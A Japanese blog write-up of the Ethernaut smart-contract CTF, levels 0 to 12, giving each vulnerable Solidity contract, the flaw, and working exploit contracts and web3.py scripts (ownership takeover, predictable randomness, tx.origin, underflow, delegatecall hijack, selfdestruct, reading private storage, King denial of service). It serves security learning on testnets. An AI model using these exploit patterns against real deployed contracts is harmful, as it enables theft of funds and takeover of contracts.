tohka

tohka

Hack for fun!
twitter
github

Ethernautの挑戦記

本シリーズはOpenZeppelin Ethernaut CTF の挑戦記録で、Solidity のセキュリティを学びながら遊ぶことを目的としています。

#0 Hello Ethernaut#

1. MetaMask の設定#

MetaMask プラグインをインストールします。

2. ブラウザのコンソールを開く#

playerを入力して自分のウォレットアドレスを確認します。

image

3. コンソールヘルパーを使用する#

getBalance(player)を呼び出してインタラクションします。

image

4. Ethernaut コントラクト#

ethernautを入力してコントラクト情報を確認します。

image

5. ABI とインタラクションする#

コントラクトの ABI インターフェースはコントラクトの public メソッドを公開し、ethernaut.owner()のような簡単なインタラクションが可能です。

image

6. テスト Ether を取得する#

以下の水道から ETH を取得します。

https://faucet.rinkeby.io/

https://faucets.chain.link/rinkeby

https://faucet.paradigm.xyz/

7. レベルインスタンスを取得する#

コントラクトインスタンスを生成します。

image

8. コントラクトを検査する#

image

9. コントラクトとインタラクションしてレベルをクリアする#

指示に従って段階的に呼び出します。

image

image

image

image

image

WIn!

image

附上通关後に提供された完全なコントラクトコード

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) public {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

#1 Fallback#

コントラクトコード

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

クリア条件

  1. このコントラクトの所有権を取得する
  2. 残高を 0 にする

これは役に立つかもしれません

  • ABI とインタラクションして Ether を送信する方法
  • ABI の外で Ether を送信する方法
  • wei/ether 単位の変換(help()コマンドを参照)
  • Fallback メソッド

まずコントラクトを観察し、所有権を取得するにはowner=msg.senderにする必要があります。

コンストラクタ以外には、2 つのエントリポイントが満たされます。

image

image

次に、トリガーされる可能性を分析します。

contribute()ではmsg.senderの貢献値がownerより大きくなる必要がありますが、ownerの貢献値は1000ethなので、この関数を利用するのは難しいです。

次にreceive()関数を見てみると、この関数をトリガーし、msg.valuemsg.senderの貢献値が 0 より大きい必要があります。

receive()fallbackのトリガーは以下の図で示されます。

fallback()をトリガーするか、receive()をトリガーするか?
           ETHを受け取る
              |
         msg.dataは空ですか?
            /  \
          はい    いいえ
          /      \
receive()は存在しますか?   fallback()
        / \
       はい  いいえ
      /     \
receive()   fallback()

したがって、全体の攻撃の流れは次のようになります

  1. まずcontribute()を呼び出し、msg.value < 0.001 ethを設定します。

  2. 転送を呼び出し、msg.value = 0.0001(0 より大きければよい)を設定してreceive()をトリガーします。

  3. withdraw()を呼び出してコントラクトを空にします。

攻撃の流れ

image

image

image

次にチェックを行います。

image

#2 Fallout#

コントラクトコード

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  // constructor 
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

クリア条件

  1. コントラクトの所有権を取得する

コントラクト分析

このコントラクトは、預金、引き出し、残高確認の機能を実装しています。

前の問題と同様に、コントラクトの所有権を取得するにはowner = msg.senderのコードに注目する必要があります。

注意深く比較すると、Fal1out()Falloutは 1 文字の違いしかなく、このコントラクトにはコンストラクタが存在しないことがわかります。Fal1out()は単なる public メソッドとして存在しているだけですので、この関数を呼び出すだけで良いのです。

攻撃の流れ

コントラクトのownerアドレスがデフォルト値であることを確認できます。

image

呼び出して攻撃を完了させることでコントラクトの所有権を取得できます。

image

Win!

image

#3 Coin Flip#

コントラクトコード

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

クリア条件

  1. consecutiveWinsを 10 以上にする

コントラクト分析

FACTOR の値は実際には 2^255 で、ブロックのハッシュを true/false にランダムに分配します。

このコントラクトを攻撃する上で最も重要な点は、blockValueを知ることです。

私たちはblock.numberを通じて現在のトランザクションが属するブロックを取得することしかできませんが、Ethereum ネットワーク内ではトランザクションが常に進行中であり、次のトランザクションのブロックは大きく変わる可能性があります。

しかし、攻撃コントラクトと攻撃対象コントラクトのトランザクションの時間差を極小にすることができれば、他のトランザクションが同じブロックに属することになります。

攻撃コントラクトを通じて現在のblockValuecoinFlipを計算し、その後攻撃対象コントラクトのflip()を呼び出すことで、毎回の推測が正しくなり、10 回攻撃コントラクトを呼び出すことでconsecutiveWinsを 10 以上にすることができます。

Exp

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '../SafeMath.sol';

// 複数のトランザクションが同じブロックに属する特性を利用
contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract Attack {
    using SafeMath for uint256;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip hackFilp;
    
    function Target(address target) public {
        hackFilp = CoinFlip(target);
    }

    function flip() public {
        uint blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue){
            revert();
        }

        lastHash = blockValue;

        uint coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        if(side == true){
            // 攻撃対象のコントラクトのflip関数を呼び出す flip(true);
            hackFilp.flip(true);
        }else{
            // 攻撃対象のコントラクトのflip関数を呼び出す flip(false);
            hackFilp.flip(false);
        }
    }
}

攻撃の流れ

攻撃対象コントラクトのアドレスを取得します。

image

攻撃コントラクトをデプロイし、Targetを初期化します。

image

flip()を 1 回呼び出した後
image

10 回連続して呼び出すだけです。

image

Win!!

image

#4 Telephone#

検討内容:tx.origin

コントラクトコード#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

クリア条件#

  1. コントラクトの所有権を取得する

コントラクト分析#

全体のコントラクトコードは非常に短く、以前には接触したことのない概念tx.originが登場します。これは、呼び出しスタック全体を遍歴し、最初に呼び出し(またはトランザクション)を送信したアカウントのアドレスを返します。

したがって、changeOwnerを呼び出すアドレスが攻撃対象コントラクトのmsg.senderと異なるようにすれば良いのです。

攻撃コントラクトをデプロイして間接的な呼び出しを達成することができます。

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Attack {
    Telephone hackTelphone;


    function Init(address _address) public{
        hackTelphone = Telephone(_address);
    }


    function attack()  public {
        hackTelphone.changeOwner(msg.sender);
    }
}

攻撃の流れ#

攻撃対象コントラクトのアドレスを取得します。

image

攻撃コントラクトをデプロイし、attack()を呼び出します。

image

contract.ownerを確認すると、すでに変更されていることがわかります。

image

image

Win!!

image

#5 Token#

検討内容:外部アカウントとコントラクトアカウント、整数オーバーフロー

コントラクトコード#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

クリア条件#

  1. 手元のトークン数量を増やす

コントラクト分析#

外部アカウントとコントラクトアカウントの問題が依然として存在します。外部アカウントは複数のコントラクトアカウントを作成できます。

ここに CTFWIKI の説明を貼ります。

image

ここでは、コントラクトアカウント内の初期のtokenを外部アカウントに転送することができます。

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {  // 外部アカウントとコントラクトアカウントの違い

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract Attack {
    Token hackToken;

    function init(address _addr) public {
        hackToken = Token(_addr);
    }

    function hack() public {
        hackToken.transfer(msg.sender,5);
    }

}

攻撃の流れ#

攻撃対象コントラクトのアドレスを取得します。

image

攻撃コントラクトをデプロイします。

image

外部アカウントのトークン数量が変更されていることがわかります。

image

Win!!

image

余談 —— 整数オーバーフローの脆弱性#

ここでのバージョンは 0.8.0 未満であり、safeMathライブラリを使用しない場合、整数オーバーフローの脆弱性が存在します。

ここでの攻撃コードを次のように変更できます。

image

ここでの検証を回避できることがわかります。即ち、20-21=2^256-1です。

image

image

#6 Delegation#

検討内容:Delegation 攻撃

コントラクトコード#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

クリア条件#

  • Delegation コントラクトの owner を Attacker に変更する

前提知識(コントラクト呼び出しの 3 つの方法)#

_Name (_Address).f () 形式#

通常、コントラクトのアドレスとコントラクトコード(ABI インターフェース)を使用してコントラクトの参照を作成します:_Name(_Address)、ここで_Nameはコントラクト名、_Addressはコントラクトアドレスです。そして、コントラクトの参照を使用してその関数を呼び出します:_Name(_Address).f()、ここでf()は呼び出す関数です。

Call#

calladdress型の低レベルメンバー関数で、他のコントラクトとインタラクションするために使用されます。返り値は(bool, data)で、callが成功したかどうかと、ターゲット関数の返り値に対応します。

Callの使用ルール:

ターゲットコントラクトアドレス.call{value:送信額, gas:gas額}(abi.encodeWithSignature("関数シグネチャ", カンマ区切りの具体的な引数))

Delegatecall#

Delegatecallの使用ルールはCallと似ていますが、実行コンテキストが異なります。

Call の実行コンテキスト

call の文脈

DelegateCallの実行コンテキスト

delegatecall の文脈

コントラクト分析#

この問題に与えられた 2 つのコントラクト、1 つはDelegateコントラクトで、委任実行されるコントラクト、もう 1 つはDelegationコントラクトで、他者に実行を委任するコントラクトです。

まずDelegateコントラクトを分析します。このコントラクトの内容は非常にシンプルで、唯一注目すべき点はpwn()関数です。この関数はownerを変更できるため、優先的に利用する関数です。

次にDelegationコントラクトを見てみると、このコントラクトではDelegateCall操作が行われており、これをトリガーする必要があります。つまり、fallback()関数をトリガーする必要がありますが、これを実現するためには存在しない関数を呼び出す必要があります。この存在しない関数をpwn()関数で置き換えることで、完全なトリガーチェーンを達成できます。

image

Exp#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "_owner",
				"type": "address"
			}
		],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [],
		"name": "owner",
		"outputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "pwn",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to':vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data':w3.keccak(text="pwn()")[0:10]
}

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

参考資料:WTF Academy

#7 Force#

検討内容:Selfdestruct 攻撃

コントラクトコード#

コントラクト内には内容がありません!

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

クリア条件#

  • コントラクトの残高を 0 にする

前提知識#

Selfdestruct についてはSlowMist の文章を参照してください。ここでは詳しく説明しません。

コントラクト分析#

簡潔に言えば、コントラクトの Selfdestruct を通じて強制的に転送を行います。

EXP#

// SPDX-License-Identifier: MIT

pragma solidity ^0.4.0-0.8.15;

contract Attack {

  constructor() public payable{} // デプロイ時にETHを受け取るため、後でSelfdestructを通じて攻撃対象コントラクトに転送します。

  function attack(address addr) public {
  	selfdestruct(addr);
  }
}

Win!

image

#8 Vault#

検討内容:プライベートデータへのアクセス

コントラクトコード#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

クリア条件#

  • コントラクトの locked を false にする

前提知識#

プライベートデータへのアクセスについてはSlowMist の文章を参照してください。ここでは詳しく説明しません。

コントラクト分析#

要するに、passwordが存在するスロットのデータを取得することです。

passwordslot1に存在します。

EXP#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
    {
        "inputs": [
            {
                "internalType": "bytes32[3]",
                "name": "_data",
                "type": "bytes32[3]"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "ID",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xb3cea217"
    },
    {
        "inputs": [],
        "name": "locked",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xcf309012"
    },
    {
        "inputs": [
            {
                "internalType": "bytes16",
                "name": "_key",
                "type": "bytes16"
            }
        ],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0xe1afb08c"
    }
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to': vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data': w3.keccak(text="unlock(bytes32)")[0:10] + password[2:],
}

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

Win!

image

#9 King#

検討内容:コントラクトアカウントが Ether を受け取る条件

コントラクトコード#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

クリア条件#

  • コントラクトを破壊し、king のアドレスが変更できないようにする

前提知識#

コントラクトアカウントが ETH を受け取る機能を実現するには、内部にreceiveまたはfallback関数の定義と実装が必要です。新しく作成されたコントラクトアカウントに最初から ETH を転送したい場合は、コンストラクタに payable 属性を追加する必要があります。

コントラクト分析#

この問題のコントラクトは、実際には「ドラムを叩く」ゲームのようなもので、後の人がコントラクトに ETH を送信すると、前の人は後の人がコントラクトに転送した ETH を受け取ります。このように繰り返されます。私たちが必要なのは、このコントラクトの機能を破壊し、King のアドレスが変更できないようにすることです。したがって、prize の数量よりも多くの ETH を送信し、送信したアカウントが transfer 関数の転送を受け取れないようにすれば良いのです。

攻撃の流れ#

prize の数量を取得します。

await contract.prize().then(v => v.toString())

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

contract Attacker {
    constructor(address payable _to) payable {
        (bool success, ) = address(_to).call{value: msg.value}("");  // msg.value should > 1000000000000000
        require(success, "failed");
    }
}

Win!

image

#11 Elevator#

キーワード:インターフェース

コントラクトコード#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

クリア条件#

  • top変数の値を true にする

前提知識#

インターフェースの概念は他の言語と似ているため、ここでは詳しく説明しません。

次のコントラクトでは、コントラクトアドレスaddr(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D)がインターフェース関連の関数の実装を持っている場合、インターフェースによって例示された変数BAYCによって呼び出された関数は、上記のコントラクトアドレスの実装のロジックに従います。

contract interactBAYC {
    // BAYCアドレスを使用してインターフェースコントラクト変数を作成(ETHメインネットワーク)
    IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);

    // インターフェースを通じてBAYCのbalanceOf()を呼び出して位置を照会
    function balanceOfBAYC(address owner) external view returns (uint256 balance){
        return BAYC.balanceOf(owner);
    }

    // インターフェースを通じてBAYCのsafeTransferFrom()を呼び出して安全に転送
    function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{
        BAYC.safeTransferFrom(from, to, tokenId);
    }
}

これにより、インターフェースコントラクト変数のインスタンス化中にリスクのある実装があるかどうかを追跡する必要があるという不安定なポイントが生じます。

また、既存のコントラクトに独自のインターフェースを定義し、それをインスタンス化して呼び出すこともできます。これも関数呼び出しのアプローチに該当します。

コントラクト分析#

この問題のコントラクトを見てみると、goToのロジックによれば、top は決してtrueになりません。攻撃コントラクトを作成し、isLastFloor関数を攻撃コントラクト内で実装することで、最初の呼び出しでfalseを返し、2 回目でtrueを返すようにすれば、条件を満たすことができます。

EXP#

interface ElevatorInterface{
    function goTo(uint) external;
}

contract Attack {
    bool  public top = false;

    function isLastFloor(uint) external returns (bool){
        bool first = top;
        top = !top;
        return first;
    }

    function hack(uint addr) public {
        ElevatorInterface(addr).goTo(0);
    }
}

#12 Privacy#

キーワード:プライベートデータアクセス

コントラクトコード#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

クリア条件#

  • locked = falseにする

前提知識#

プライベートデータへのアクセスについてはSlowMist の文章を参照してください。ここでは詳しく説明しません。

コントラクト分析#

bytes16(data[2])を取得するだけです。

EXP#

from web3 import Web3

rpc_url = ''

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = ''
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0xf487e9888E58bBA039dD51ae9AEBB28F04fAfBFB'
vul_abi = [
    {
        "inputs": [
            {
                "internalType": "bytes32[3]",
                "name": "_data",
                "type": "bytes32[3]"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "ID",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xb3cea217"
    },
    {
        "inputs": [],
        "name": "locked",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xcf309012"
    },
    {
        "inputs": [
            {
                "internalType": "bytes16",
                "name": "_key",
                "type": "bytes16"
            }
        ],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0xe1afb08c"
    }
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)


slot5 = w3.eth.get_storage_at(vul_addr,0x5)

_key = int(w3.toHex(slot5)[:34],16)


TransactionData = vul_contarct.functions['unlock'](w3.toBytes(_key)).buildTransaction({
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei')
})

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。